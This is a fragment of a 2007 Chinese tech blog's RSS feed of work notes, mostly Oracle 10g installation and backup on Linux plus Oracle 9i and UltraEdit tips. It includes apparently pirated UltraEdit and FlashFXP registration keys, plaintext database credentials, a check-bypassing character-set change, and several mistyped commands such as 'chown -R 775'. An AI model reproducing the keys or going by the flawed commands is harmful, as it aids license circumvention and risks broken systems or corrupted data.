<img src ="http://www.cnitblog.com/szdlinxie/aggbug/32125.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2007-08-21 00:44 <a href="http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32125.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>db2服务器快速入门</title><link>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32123.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Mon, 20 Aug 2007 16:39:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32123.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/32123.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32123.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/32123.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/32123.html</trackback:ping><description><![CDATA[<p><a href="http://www.cnitblog.com/Files/szdlinxie/db2.rar">/Files/szdlinxie/db2.rar</a></p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/32123.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2007-08-21 00:39 <a href="http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32123.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>oracle有关资料</title><link>http://www.cnitblog.com/szdlinxie/archive/2007/05/18/27202.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Fri, 18 May 2007 07:51:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2007/05/18/27202.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/27202.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2007/05/18/27202.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/27202.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/27202.html</trackback:ping><description><![CDATA[<p>2007.5.14</p>
<p>1、oracle有关资料查询：<br><a href="http://www.oracle.com/technology/global/cn/pub/articles/smiley_10gdb_install.html">http://www.oracle.com/technology/global/cn/pub/articles/smiley_10gdb_install.html</a></p>
<p>2、 Linux下的Oracle 10g安装及配置 <br>&nbsp;<br>一.资源需要：<br>至少1024 MB物理内存<br>1024－2048 需1.5倍的交互空间<br>2048－8192 需1倍的交互空间<br>8192－ 需0.75倍的交互空间<br>至少400 MB /tmp 临时目录空间<br>oracle软件需要1.5 GB 到 3.5 GB 磁盘空间<br>默认数据库需要1.2 GB</p>
<p>二.查看系统资源相关语句：<br>cat /etc/issue<br>uname -r<br>grep MemTotal /proc/meminfo<br>grep SwapTotal /proc/meminfo<br>grep "model name" /proc/cpuinfo<br>free<br>df -k /tmp<br>df -k<br>安装前的检查和准备工作： <br>p4198954_21_linux.zip 在运行 runInstaller 之前打. <br>rpm -ivh compat-oracle-rhel4-1.0-5.i386.rpm (p4198954_21_linux.zip)<br>(不打PATCH也可以）<br>安装 libaio-0.3.102-1.i386.rpm <br>libaio-devel0.3.102-1.i386.rpm<br>在Red Hat Enterprise Linux 介质的第三张CD,以 root 用户身份运行以下命令：<br>rpm -ivh /mnt/cdrom/RedHat/RPMS/ libaio-0.3.102-1.i386.rpm</p>
<p>三.创建数据库安装的准备工作: <br>1.创建用户和组(user/group)； <br>groupadd dba <br>groupadd oinstall <br>useradd oracle -g oinstall -G dba <br>passwd oracle <br>如果nobody用户不存在（id nobody命令查看)，则创建：<br>useradd nobody<br>2.建立oracle安装文件夹(sample)； <br>mkdir -p /opt/oracle/product/10g<br>mkdir /opt/oracle/database<br>chown -R oracle.oinstall /opt/oracle<br>chmod 755 -R /opt/oracle<br>2， 配置环境变量； <br>要使用 Oracle 产品，应该或必须设置几个环境变量。如果您在同一服务器上安装了多个 Oracle 产品或数据库，则 ORACLE_HOME、ORACLE_SID 和 PATH 变量可能会更改。ORACLE_BASE 变量不应更改，并可以在需要时在您的登录配置文件中设置它。Oracle 提供了一个称作 oraenv 的实用程序来设置其他变量。<br>对于数据库服务器，建议设置以下环境变量： <br>使用第一步创建的用户名Oracle登陆: <br>su oracle <br>vi ~/.bash_profile <br>修改以下是配置文件的内容<br>export ORACLE_BASE=/opt/oracle/<br>export ORACLE_HOME=/opt/oracle/product/10g<br>export ORACLE_SID=ge01(可随意定义)<br>export PATH=$ORACLE_HOME/bin:$PATH<br>ESC(退出vi的编辑环境)<br>:wq(退出vi应用程序并保存修改)</p>
<p>安装好后再取消屏蔽这些环境变量设置<br>#export TNS_ADMIN=$ORACLE_HOME/network/admin<br>#export NLS_LANG=AMERICAN_AMERICA.ZHS16GBK<br>#export LANG=AMERICAN_AMERICA.ZHS16GBK<br>配置好后用 source .bash_profile 命令使配置生效 </p>
<p>四.设置系统参数；<br>Oracle 数据库 10g 需要以下所示的内核参数设置。<br>其中给出的是最小值，因此如果您的系统使用的值较大，则不要更改它。<br>切换到root用户:<br>su root <br>a) 修改/etc/sysctl.conf(vi /etc/sysctl.conf), 添加： </p>
<p>kernel.shmmax = 2147483648<br>kernel.shmmni = 4096 <br>kernel.shmall = 2097152 <br>kernel.sem = 250 32000 100 128 <br>fs.file-max = 65536 <br>net.ipv4.ip_local_port_range = 1024 65000 <br>net.core.rmem_default=262144<br>net.core.rmem_max=262144<br>net.core.wmem_default=262144<br>net.core.wmem_max=262144</p>
<p>修改后运行"/sbin/sysctl -p"命令使得内核改变立即生效； </p>
<p>B) 设置oracle对文件的要求： <br>编辑文件：vi /etc/security/limits.conf 加入以下语句： <br>oracle soft nproc 2047<br>oracle hard nproc 16384<br>oracle soft nofile 1024<br>oracle hard nofile 65536<br>编辑文件：vi /etc/pam.d/login 加入以下语句(可能应该加在最后一条规则之前）:<br>session required /lib/security/pam_limits.so</p>
<p>安装Oralce10G</p>
<p>解压缩Oracle10G的安装文件 ：<br>1． Oracle <br>(1) 简化过程（以oracle登录，释放安装文件,使用更少的磁盘空间，速度更快） <br>在/tmp下解压缩10201_database_linux32.zip:<br>unzip 10201_database_linux32<br>开始安装oracle <br>（一）开始安装： <br>1.以oracle用户登录系统，进行Oracle的安装：<br>cd /tmp/database (或者你解压缩安装程序包的目录）<br>./runInstaller<br>过一会儿就会出现Oracle的安装界面<br>注意：<br>1、选择advance install<br>2、数据库home设置为/opt/oracle/product/10g<br>3、数据库全局名称设置为ge01<br>4、数据库字符集选Simplified Chinese ZHS16GBK</p>
<p>2.其他用默认设置！<br>注意：安装过程中会提示以root用户登陆执行一些脚本 ，执行后再按&#8220;ok&#8221;按钮继续安装。</p>
<p>3、登陆并启动数据库的操作。 <br>[oracle@oracle oracle]$ lsnrctl start <br>[oracle@oracle oracle]$ sqlplus /nolog <br>SQL*Plus: Release 9.2.0.0 - Production on Sat Mar 12 22:58:53 2005 <br>Copyright (c) 1982, 2002, Oracle Corporation. All rights reserved. <br>SQL&gt; connect / as sysdba <br>Connected. <br>SQL&gt; shutdown immediate 关闭数据库 （OR "dbshut" command)<br>Database closed. <br>Database dismounted. <br>ORACLE instance shut down. <br>SQL&gt; startup; 启动数据库 <br>ORACLE instance started. <br>Total System Global Area 236000356 bytes <br>Fixed Size 451684 bytes <br>Variable Size 201326592 bytes <br>Database Buffers 33554432 bytes <br>Redo Buffers 667648 bytes <br>Database mounted. <br>Database opened. </p>
<p>4, dbstart脚本修改<br>数据库创建完成后，修改vi /etc/oratab，把orcl:/opt/oracle/oracle/product/10g:N那一行最后的N改成Y，<br>然后执行dbstart启动数据库数据库可能无法启动，报告Can&#8217;t find init file &#8230;的错误，需要复制一个初始化文件: <br>cp /opt/oracle/admin/ge01/pfile/init.ora.* /opt/oracle/product/10.2.0/dbs/initge01.ora <br>重新执行dbstart就可以了。<br>修改vi /opt/oracle/product/10g/bin/dbstart中ORACLE_HOME_LISTNER=/opt/oracle/oracle/product/10g/<br>vi /etc/rc.local 加入下面一行 起动ORACLE ON system boot<br>/opt/oracel/product/10g/bin/dbstart</p>
<p>5. 编写启动脚本（OPTION）<br>为了方便管理，可以写一个启动脚本ora10g： <br>以root身份进入，编写以下脚本： <br>#!/bin/bash <br># <br># chkconfig: 2345 91 19 <br># description: starts the oracle listener and instance <br>status() {<br>pid=`ps -ef | grep ora_pmon | grep -v grep | awk '{print $8}'`<br>if [ "X$pid" = "X" ]<br>then<br>echo "oracle10g is not running."<br>exit 1<br>else<br>echo "oracle10g is running."<br>exit 0<br>fi<br>}<br>case "$1" in <br>start) <br>#startup the listener and instance <br>echo -n "oracle begin to startup: " <br>su - oracle -c "lsnrctl start" <br>su - oracle -c dbstart <br>echo "oracle10g started" <br>;; <br>stop) <br># stop listener, apache and database <br>echo -n "oracle begin to shutdown:" <br>su - oracle -c "lsnrctl stop" <br>su - oracle -c dbshut <br>echo "oracle10g shutdowned" <br>;; <br>reload|restart) <br>$0 stop <br>$0 start <br>;; <br>'status')<br>status<br>;;<br>*) <br>echo "Usage: ora10g [start|stop|reload|restart]" <br>exit 1 <br>esac <br>exit 0 <br>存为ora10g后，然后<br>chmod a+x ora10g<br>ln -s /opt/oracle/product/10.2.0/bin/ora10g /etc/rc.d/init.d/<br>即可在以后以root身份运行/etc/rc.d/init.d/ora10g start |stop 来管oracle的启动和停止了。<br>如果要将这个脚本加入到系统中使其可开机运行，那么要运行以下命令：<br>chkconfig --level 345 ora10g on</p>
<p>或者可在/etc/rc.d/rc.local中加入如下： <br>su - oracle -c "lsnrctl start" <br>su - oracle -c "dbstart" </p>
<p>6, 关于数据库删除重新安装的问题: <br>把ORACLE安装目录删除及/etc/ora*.*删除就行了 <br>#rm &#8211;f /etc/ora*.*</p>
<p>7.修改Oracle10g数据库字符集<br>SQL&gt; connect sys/oracle as sysdba<br>SQL&gt; startup mount<br>SQL&gt; alter session set sql_trace=true;<br>Session altered.<br>SQL&gt; alter system enable restricted session;<br>System altered.<br>SQL&gt; alter system set job_queue_processes=0;<br>System altered.<br>SQL&gt; alter system set aq_tm_processes=0;<br>System altered.<br>SQL&gt; alter database open;<br>Database altered.<br>SQL&gt; set linesize 120;<br>SQL&gt; alter database character set zhs16gbk;<br>alter database character set zhs16gbk<br>*<br>ERROR at line 1:<br>ORA-12712: new character set must be a superset of old character set<br>SQL&gt; ALTER DATABASE character set INTERNAL_USE zhs16gbk; # 使用INTERNAL_USE可以跳过超集的检查,ALTER DATABASE character set INTERNAL_USE <br>Database altered.<br>SQL&gt; shutdown immediate;<br>Database closed.<br>Database dismounted.<br>ORACLE instance shut down.<br>SQL&gt; STARTUP<br>SQL&gt; select name,value$ from props$ where name like '%NLS%';<br>NLS_CHARACTERSET<br>ZHS16GBK</p>
<p>8. oracle database备份<br>(1)vi bachupDb.sh<br>#!/bin/sh<br>#oracle用户下<br>#crontab -e 增加 "35 4 * * * /home/oracle/dbbackup/backupDb.sh",保存后自动安装<br>#或echo "35 4 * * * /home/oracle/dbbackup/backupDb.sh" &gt; backupDb.cron<br>#crontab backupDb.cron<br>#############<br><a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#35;&#64;&#116;&#105;&#112;">#@tip</a> 修改为本机数据库home目录<br>export ORACLE_HOME=/opt/oracle/product/10g<br>export PATH=$ORACLE_HOME/bin:$PATH:$HOME/bin<br># 注意字符集必须和数据库的字符集一致，以避免字符集转化失败 <br>export NLS_LANG=AMERICAN_AMERICA.zhs16gbk<br><a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#35;&#64;&#116;&#105;&#112;">#@tip</a> 125修改为要备份的oracle的ip地址的最后一段<br>dmpfile="`echo ~/`dbbackup/gedb_`date +%w`.dmp"<br>logfile="`echo ~/`dbbackup/gedb_`date +%w`.log"</p>
<p>if [ -w $dmpfile ]<br>then<br>echo "rm -f $dmpfile"<br>rm -f "$dmpfile"<br>fi</p>
<p><a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#35;&#64;&#116;&#105;&#112;">#@tip</a> ip地址修改为要备份的oracle的主机地址<br>exp <a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#85;&#83;&#69;&#82;&#73;&#68;&#61;&#103;&#101;&#100;&#98;&#47;&#103;&#101;&#100;&#98;&#64;&#49;&#48;&#46;&#50;&#52;&#56;&#46;&#49;&#46;&#53;&#47;&#103;&#101;&#48;&#49;">USERID=gedb/gedb@10.248.1.5/ge01</a> file=$dmpfile log=$logfile owner=gedb grants=y<br>(2)copy bachupDb.sh 到slave oracle srever 相应目录,<br>chown oracle.oinstall bachupDb.sh<br>chmod 744 bachupDb.sh <br>vi bachupDb.sh 以符合安装情况<br>(3)以oracle user role<br>crontab -e<br>35 4 * * * /home/oracle/dbbackup/backupDb.sh </p>
<p>9. restore oracle backup<br>su - oracle<br>imp USERID=gedb/gedb file=gedb_6.dmp log=implogfile commit=y grants=y full=y&nbsp;&nbsp;&nbsp; <br>&nbsp;<br>&nbsp;<br>*****脚本修改的相关资料查询：<a href="http://unix-cd.com/unixcd12/article_5428.html">http://unix-cd.com/unixcd12/article_5428.html</a><br>&nbsp;<br>SQLPLUS命令的使用大全，解压密码为<a href="http://www.csai.cn/">www.csai.cn</a>。</p>
<p><br>Uedit32与SQLPlus结合使用技巧<br><a href="http://www.itwen.com/08db/04oracle/oracle20060219/34003.html">http://www.itwen.com/08db/04oracle/oracle20060219/34003.html</a></p>
<p>Uedit32与SQLPlus结合使用技巧 用过Uedit32的人都知道,这个工具虽然小,却功能俱全.只要我们在工作中巧妙的使用用它,可以使我们的工作效率事半功倍.那么,在下面的文章中,我将说说Uedit32与Oracle SQLPlus用法. <br>首先下载并安装Uedit32,确保SQlPlus能正常运行, 接下来的事情就是两者的系统配置了,具体按照以下的几个步骤进行: <br>步骤一：在Oracle安装目录下的Ora81找到dbs这个文件夹，如果没有这个文件 夹，创建名为dbs的文件夹，然后在这个文件夹下新建一个文本文件， 取名为：login.sql.<br>步骤二：在Uedit32的安装目录下新建一个文本文件，取名为：PlSQL.txt<br>步骤三：打开Uedit32，在Uedit32主菜单的Advanced下，选择 Configuration...进入到一个页面UltraEdit Configuration．在这个　 　　 页面中选择Syntax Highlighting,在Full path name for中，将你第二 步创建的Plsql.txt连接到此，即，单击Browse，直接在Uedit32目录下 找到Plsql.txt这个文件，确定后，一切就ok了。<br>步骤四：在Uedit32主菜单的View下的View AS(Highlightiing File Type)下会 显示一个SQL，这样就说明你的Configuration已经Succeed.如果在这个 菜单下没有SQL，就说明Configuration错误，重复上边的步骤，直到出 现SQL为止。<br>*****如果配置成功后,每次在SQLPlus下进行SQL语句编辑的时候,要对已经编辑或执行的SQL语句修改,就可以直接输入ED即可进入到Uedit32的编辑状态,这样,大大方便了使用速度. 另附：login.sql文件脚本： define _editor='uedit32.exe'<br>set editfile a.sql<br>set line 1000 说明：PlSQL.txt脚本主要用来控制 SQL语句在uedit32中字体显示颜色，变量名，函数名等将以不同的颜色进行显示，方便修改和辨认。由于篇幅有限，如果需要，可以mail给我。 海 洋 2002-05-31（完）计算机基础教程网</p>
<p>==================================================================================================================<br>2007.05.15</p>
<p>1、UltraEdit 11 的注册码</p>
<p>用户名1：UltraEdit<br>注册码1：A2X1Q-A0K6X-X700D-H407N</p>
<p>grant all on *.* to <a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#114;&#111;&#111;&#116;&#64;&#108;&#111;&#99;&#97;&#108;&#104;&#111;&#115;&#116;">root@localhost</a> identified by password</p>
<p>source 脚本</p>
<p>mysqldump --opt databases tables &gt; 脚本名&nbsp; -d<br>(-d&nbsp; 参数是叫导出数据库里所有表的结构，不包括数据)</p>
<p><br>3、按照NVMP手册安装 ，但是 在 最后执行SETUP.BAT时候不成，不知道原因？</p>
<p><br>=====================================================================================================================</p>
<p>2007.05.16</p>
<p>1、LOGIN界面可以出现，但是输入用户名以及密码后，没有系统的主界面。不知道原因。</p>
<p>2、数据库建立错误。。。。。BUILD FAILED</p>
<p>3、Oracle基础学习一:安装Oracle9i Database及Client 认识相关工具 <br><a href="http://www.cnblogs.com/freeliver54/archive/2007/04/13/705135.html">http://www.cnblogs.com/freeliver54/archive/2007/04/13/705135.html</a></p>
<p>1.安装Oracle9i或其他版本的Database 和 Client等<br>2.利用[数据库配置助手]创建数据库表空间<br>3.利用[企业管理器]管理数据库表空间<br>4.配置 [管理服务器]<br>5.SQL Plus 与 SQLPlus Worksheet<br>6.Oracle Administration Assistant for Windows NT 等 其他工具<br>===============================</p>
<p>1.安装Oracle9i或其他版本的Database 和 Client等<br>------------------------<br>(1).安装界面及欢迎<br>&nbsp;&nbsp;&nbsp; 此安装界面 可以查看 已安装产品 以及 卸载产品<br>&nbsp;&nbsp;&nbsp; 直接点击 下一步 则进行安装<br>(2).文件定位<br>&nbsp;&nbsp;&nbsp; 安装文件的来源路径 以及 产品的目标路径<br>&nbsp;&nbsp;&nbsp; 默认即可<br>(3).选择要安装的产品选项 <br>&nbsp;&nbsp;&nbsp; 该选项决定了下一步的安装类型<br>&nbsp;&nbsp;&nbsp; 此处选择默认的第一项 Oracle 9i Database...&nbsp;&nbsp;&nbsp; <br>(4).安装类型<br>&nbsp;&nbsp;&nbsp; 选择默认的 企业版本 下一步<br>(5).数据库配置<br>&nbsp;&nbsp;&nbsp; 可以选择默认的通用<br>&nbsp;&nbsp;&nbsp; 也可以选择最后的只安装软件<br>&nbsp;&nbsp;&nbsp; 当然也可以选择自定义 以及 数据仓库等其他<br>&nbsp;&nbsp;&nbsp; 此处同样选择默认<br>(6).数据库标识<br>&nbsp;&nbsp;&nbsp; 给数据库起个 全局数据库名 如aDB等<br>(7).接下来的<br>&nbsp;&nbsp;&nbsp; 数据库文件位置 及 字符集等 <br>&nbsp;&nbsp;&nbsp; 一路默认即可<br>(8).安装过程中 <br>&nbsp;&nbsp;&nbsp; 会提示需要你指示出下一张CD的位置<br>(9).如果顺利 就会安装成功<br>&nbsp;&nbsp;&nbsp; 如果期间 有个别组件 安装不成功<br>&nbsp;&nbsp;&nbsp; 如果不是太必需 可以选择取消<br>&nbsp;&nbsp;&nbsp; 当然是取消该组件的安装 而不是取消整个产品的安装<br>(10).安装完Database<br>&nbsp;&nbsp;&nbsp; 接下来 可以继续安装 Client<br>&nbsp;&nbsp;&nbsp; 也可以只在其他位置的客户端需要时 <br>&nbsp;&nbsp;&nbsp; 进行下面的安装客户端的相关步骤<br>&nbsp;&nbsp;&nbsp; 也就是承接上述的第3步<br>&nbsp;&nbsp;&nbsp; 选择Oracle 9i Client<br>(11).安装类型<br>&nbsp;&nbsp;&nbsp; 选择默认的 Administrator 下一步<br>(12).在安装过程中 同样会提示需要你指示出其他CD的位置<br>(13).安装完成后 会自动出现 网络配置助手 的欢迎画面<br>&nbsp;&nbsp;&nbsp;&nbsp; 以帮助你 进行 本地网络服务名配置<br>&nbsp;&nbsp;&nbsp;&nbsp; 该助手的打开位置在<br>&nbsp;&nbsp;&nbsp;&nbsp; [打开位置]<br>&nbsp;&nbsp;&nbsp;&nbsp; 开始-&gt;所有程序-&gt;Oracle - OraHome90<br>&nbsp;&nbsp;&nbsp;&nbsp; -&gt;Configuration and Migration Tools<br>&nbsp;&nbsp;&nbsp;&nbsp; -&gt;Net Configuration Assistant<br>(14).按默认即可<br>&nbsp;&nbsp;&nbsp; 在 服务名 处的填写<br>&nbsp;&nbsp;&nbsp; 就是输入全局数据库名 如上面的aDB<br>&nbsp;&nbsp;&nbsp; 当然如果上面Database安装时 <br>&nbsp;&nbsp;&nbsp; 只安装了软件 没有创建数据库<br>&nbsp;&nbsp;&nbsp; 则可以后续再做配置<br>(15).选择协议 默认TCP 下一步<br>&nbsp;&nbsp;&nbsp;&nbsp; 填写主机名 输入Oracle9i的刚才安装的主机IP<br>&nbsp;&nbsp;&nbsp;&nbsp; 端口处 默认1521 <br>&nbsp;&nbsp;&nbsp;&nbsp; 下一步 进行 是否进行测试画面<br>(16).也不用配置另一个网络服务名<br>&nbsp;&nbsp;&nbsp; 这样 顺利的话 就配置网络服务名完成 </p>
<p>经过上述的安装 接下来也就可以使用Oracle了&nbsp;&nbsp;&nbsp; </p>
<p>其默认有如下几个帐户<br>ID: system&nbsp; PWD:manager&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 权限:SYSDBA<br>ID: sys&nbsp;&nbsp;&nbsp;&nbsp; PWD:change_on_install&nbsp;&nbsp; 权限:SYSDBA</p>
<p><br>2.利用[数据库配置助手]创建数据库表空间<br>--------------------------------------<br>[打开位置]<br>&nbsp; 开始-&gt;所有程序-&gt;Oracle - OraHome90<br>&nbsp; -&gt;Configuration and Migration Tools<br>&nbsp; -&gt;Database Configuration Assistant</p>
<p>&nbsp; 通过该使用该助手<br>&nbsp; 可以创建 配置 和 删除 数据库 等 以及管理模板</p>
<p>(1).何种操作处 <br>&nbsp;&nbsp;&nbsp; 选择 默认的 创建数据库 下一步<br>(2).数据库模板 处<br>&nbsp;&nbsp;&nbsp; 选择New Database 或其他需要的模板<br>(3).数据库名 全局的数据库名称<br>(4).下面的根据助手的指引<br>&nbsp;&nbsp;&nbsp; 默认即可<br>&nbsp;&nbsp;&nbsp; 当然也可以根据自己的情况 进行修改<br>(5).创建数据库是一个时间稍长的过程<br>&nbsp;&nbsp; 最后如果成功 就会弹出相关数据库信息画面<br>&nbsp;&nbsp; 如全局数据库名称 系统标识符(SID)<br>&nbsp;&nbsp; 和两个默认的数据库帐户(sys和system) </p>
<p>3.利用[企业管理器]管理数据库表空间<br>----------------------------------<br>[打开位置]<br>&nbsp; 开始-&gt;所有程序-&gt;Oracle - OraHome90<br>&nbsp; -&gt;Enterprise Manager Console<br>&nbsp; 可以选择<br>&nbsp; -&gt;独立启动(S)<br>&nbsp; 或<br>&nbsp; -&gt;登录[管理服务器]<br>&nbsp;&nbsp;&nbsp; 登录到Oracle Management Server(L)<br>&nbsp; 如果还没有进行下面4.配置 [管理服务器]的部分<br>&nbsp; 可以选择独立启动 <br>&nbsp; <br>4.配置 [管理服务器]<br>-------------------<br>[打开位置]<br>&nbsp; 开始-&gt;所有程序-&gt;Oracle - OraHome90<br>&nbsp; -&gt;Configuration and Migration Tools<br>&nbsp; -&gt;Enterprise Manager Configuration Assistant<br>&nbsp; 根据向导进行相关配置</p>
<p>5.SQL Plus 与 SQLPlus Worksheet<br>--------------------------------<br>a.SQL Plus<br>[打开位置]<br>&nbsp; 开始-&gt;所有程序-&gt;Oracle - OraHome90<br>&nbsp; -&gt;Application Development<br>&nbsp; -&gt;SQL Plus</p>
<p>b.SQLPlus Worksheet<br>[打开位置]<br>&nbsp; 开始-&gt;所有程序-&gt;Oracle - OraHome90<br>&nbsp; -&gt;Integrated Management Tools<br>&nbsp; -&gt;SQLPlus Worksheet<br>&nbsp; 或<br>&nbsp; 开始-&gt;所有程序-&gt;Oracle - OraHome90<br>&nbsp; -&gt;Application Development<br>&nbsp; -&gt;SQLPlus Worksheet</p>
<p>6.Oracle Administration Assistant for Windows NT 等 其他工具<br>------------------------------------------<br>[打开位置]<br>&nbsp; 开始-&gt;所有程序-&gt;Oracle - OraHome90<br>&nbsp; -&gt;Configuration and Migration Tools<br>&nbsp; -&gt;Administration Assistant for Windows NT</p>
<p>Oracle Administration Assistant for Windows NT <br>是一种数据库管理工具，<br>它可以帮助您在 Windows NT 上轻松地<br>创建数据库管理员、操作员、用户和角色。<br>此外，它还可帮助您管理 Oracle 数据库服务、<br>Oracle 数据库启动和关闭配置、<br>编辑注册表参数设置以及查看 Oracle 进程信息。</p>
<p><br><a href="http://128.8.153.120:8080/jira">http://128.8.153.120:8080/jira</a></p>
<p><a href="http://www.atlassian.com/software/jira/">http://www.atlassian.com/software/jira/</a></p>
<p><br>监控的时候，如果有正常的I/O设备，那切换的时候不会慢也不会死</p>
<p>如果没有正常的I/O设备的话，在切换时候就会发生慢或死</p>
<p><a href="http://blog.csdn.net/zcatlinux/archive/2006/05/10/721157.aspx">http://blog.csdn.net/zcatlinux/archive/2006/05/10/721157.aspx</a> 让ORACLE自动启动的方法</p>
<p><a href="http://blog.csdn.net/">http://blog.csdn.net</a></p>
<p>FlashFXP 注册码</p>
<p>把下面的代码复制到密钥框中即可:(就是就击注册那框中)</p>
<p>FLASHFXPwQAOlhkgwQAAAAC6W5MNJwTnsl73nIraAU149tnCQS<br>0hmZU3GGBQG1FtoSp5x0mUgA7bFW0qr0fKk2KCA+v2CCrFbF+q<br>bmLvEjV+4JCAX+H/TBpG7pdEJ8IEW09ST8t60Poou/CTNhxGoz<br>1Ww0kiyHynU4fOmVK9gQZ5eeMxKzssnhKdor2ibc3OTo+WvErl<br>omRpMfd15+/2EA/SbxzdwKmX6ybVAYnLe4g3cheOEdD3YnxF5i<br>4NeTRw</p>
<p><br>下载地址：<a href="http://www.tvmi.cn/Soft/163.html">http://www.tvmi.cn/Soft/163.html</a></p>
<p>====================================================================================================================<br>2007.05.17</p>
<p>linux下安装oracle 10g SLES9安装Oracle 10g <br>十一月 29th 2006 Posted to 未分类 <br>系统环境：<br>SuSE Linux Enterprise Server 9 （升级到sp3)<br>kernel-2.6.5-7.244-default</p>
<p>Oracle最低硬件需求<br>物理内存：最低512MB （运行 grep MemTotal /proc/meminfo检查）<br>交换分区：最低1GB （运行 grep SwapTotal /proc/meminfo检查）<br>硬盘空间：软件需空间2.5G，数据库需空间1.2G.（运行df -h检查硬盘剩余空间）</p>
<p>检查所依赖的软件包<br>所需要的软件包的版本(或更高版本）<br>kernel-2.6.5-7.5<br>gcc-3.3.3-43<br>gcc-c++-3.3.3-43<br>glibc-2.3.3-98<br>libaio-0.3.98-18<br>libaio-devel-0.3.98-18<br>make-3.80<br>openmotif-libs-2.2.2-519.1<br>查看内核版本执行命令 uname -r<br>要查看系统是否安装上述软件包。以root身份运行<br>rpm -q gcc gcc-c++ glibc libaio libaio-devel make openmotif-libs命令。<br>注：如果SLES9系统中了认证服务(NIS,LDAP,kerbose)。则要把它们删除。</p>
<p>安装orarun<br>orarun是为一个专门简化oracle安装的软件包。Orarun自动添加了安装oracle所需要的用户和组，设置了环境变量和内核参数。可以通过Yast安装orarun。<br>安装好orarun后，还需要修改shell。<br>编辑/etc/passwd，把orarun对应行的/bin/false更改为/bin/bash<br>修改/etc/profile.d/oracle.sh文件：<br>把第29行ORACLE_HOME=$ORACLE_BASE/product/9ir2<br>修改为ORACLE_HOME=$ORACLE_BASE/product/10gR2</p>
<p>设置内核参数<br>完成上述操作后，以root身份执行命令/usr/sbin/rcoracle start来设置内核参数</p>
<p>安装oracle<br>从oracle网站上下载10201_database_linux32.zip。解压。<br>以oracle身份登录系统，进入到解压后的目录。运行./runInstaller安装。按照默认值安装既可</p>
<p>修改dbstart脚本<br>安装好oracle后。要修改dbstart脚本。<br>把第78行ORACLE_HOME_LISTEN=/ade/vikrkuma-new/oracle<br>更改为ORACLE_HOME_LISTEN=$ORACLE_BASE/product/10gR2</p>
<p>Comments(0) <br>在RHEL AS 3上安装Oracle 10g <br>十一月 29th 2006 Posted to 未分类 <br>系统环境<br>Red Hat Enterprise Linux AS release 3 (Taroon Update 4)<br>Kernel 2.4.21-27.EL</p>
<p>Oracle最低硬件需求<br>物理内存：最低512MB （运行 grep MemTotal /proc/meminfo检查）<br>交换分区：最低1GB （运行 grep SwapTotal /proc/meminfo检查）<br>硬盘空间：软件需空间2.5G，数据库需空间1.2G.（运行df -h检查硬盘剩余空间）</p>
<p>检查所依赖的软件包<br>所需要的软件包的版本(或更高版本）<br>gcc-3.2.3-2<br>make-3.79 <br>binutils-2.11<br>openmotif-2.2.2-16<br>setarch-1.3-1<br>compat-gcc-7.3-2.96.122<br>compat-gcc-c++-7.3.-2.96.122<br>compat-libstdc++-7.3-2.96.122<br>compat-libstdc++-devel-7.3-2.96.122<br>compat-db-4.0.14.5<br>要查看系统是否安装上述软件包。以root身份运行<br>rpm -q gcc make binutils openmotif setarch compat-gcc 类似命令检查。</p>
<p>创建Oracle用户和组<br>以root身份执行下列命令：<br>/usr/sbin/groupadd oinstall<br>/usr/sbin/groupadd dba<br>/usr/sbin/useradd -m -g oinstall -G dba oracle <br>id oracle<br>然后设置oracle账户的密码：<br>/usr/bin/passwd oracle</p>
<p>创建目录<br>创建针对Oracle 10g软件和数据库的目录。以root身份执行下列命令<br>mkdir -p /u01/app/oracle<br>mkdir -p /u02/oradata<br>chown -R oracle:oinstall /u01/app/oracle /u02/oradata<br>chown -R 775 /u01/app/oracle /u02/oradata<br>修改内核参数<br>以root身份编辑/etc/sysctl.conf文件。添加以下内容：<br>kernel.shmall = 2097152<br>kernel.shmmax = 2147483648<br>kernel.shmmni = 4096<br>kernel.sem = 250 3200 100 128<br>fs.file-max = 65536<br>net.ipv4.ip_local_range = 1024 65000<br>保存，退出。<br>然后运行/sbin/sysctl -p激活更改。<br>为oracle用户设置shell限制 <br>以root身份编辑/etc/security/limits.conf文件。添加以下内容：<br>oracle soft nproc 2047<br>oracle hard nproc 16384<br>oracle soft nofile 1024<br>oracle hard nofile 65536<br>然后再编辑/etc/pam.d/login文件。添加以下内容：<br>session required /lib/security/pam_limits.so</p>
